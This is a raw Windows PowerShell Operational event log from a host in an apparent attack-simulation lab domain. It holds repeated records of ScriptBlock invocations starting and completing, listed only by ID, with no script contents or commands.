ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648122
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648121
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648120
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648119
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648118
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:43 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648117
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648136
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648135
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648134
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648133
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648132
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648131
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648130
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648129
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648128
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:48 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648127
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648146
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648145
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648144
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648143
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648142
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648141
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648140
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648139
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648138
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648137
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648156
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648155
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648154
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648153
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648152
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648151
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648150
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648149
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648148
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:59 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648147
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648166
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648165
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648164
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648163
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648162
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648161
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648160
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648159
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648158
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648157
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648176
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648175
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648174
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648173
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648172
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648171
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648170
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648169
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:19:08 PM
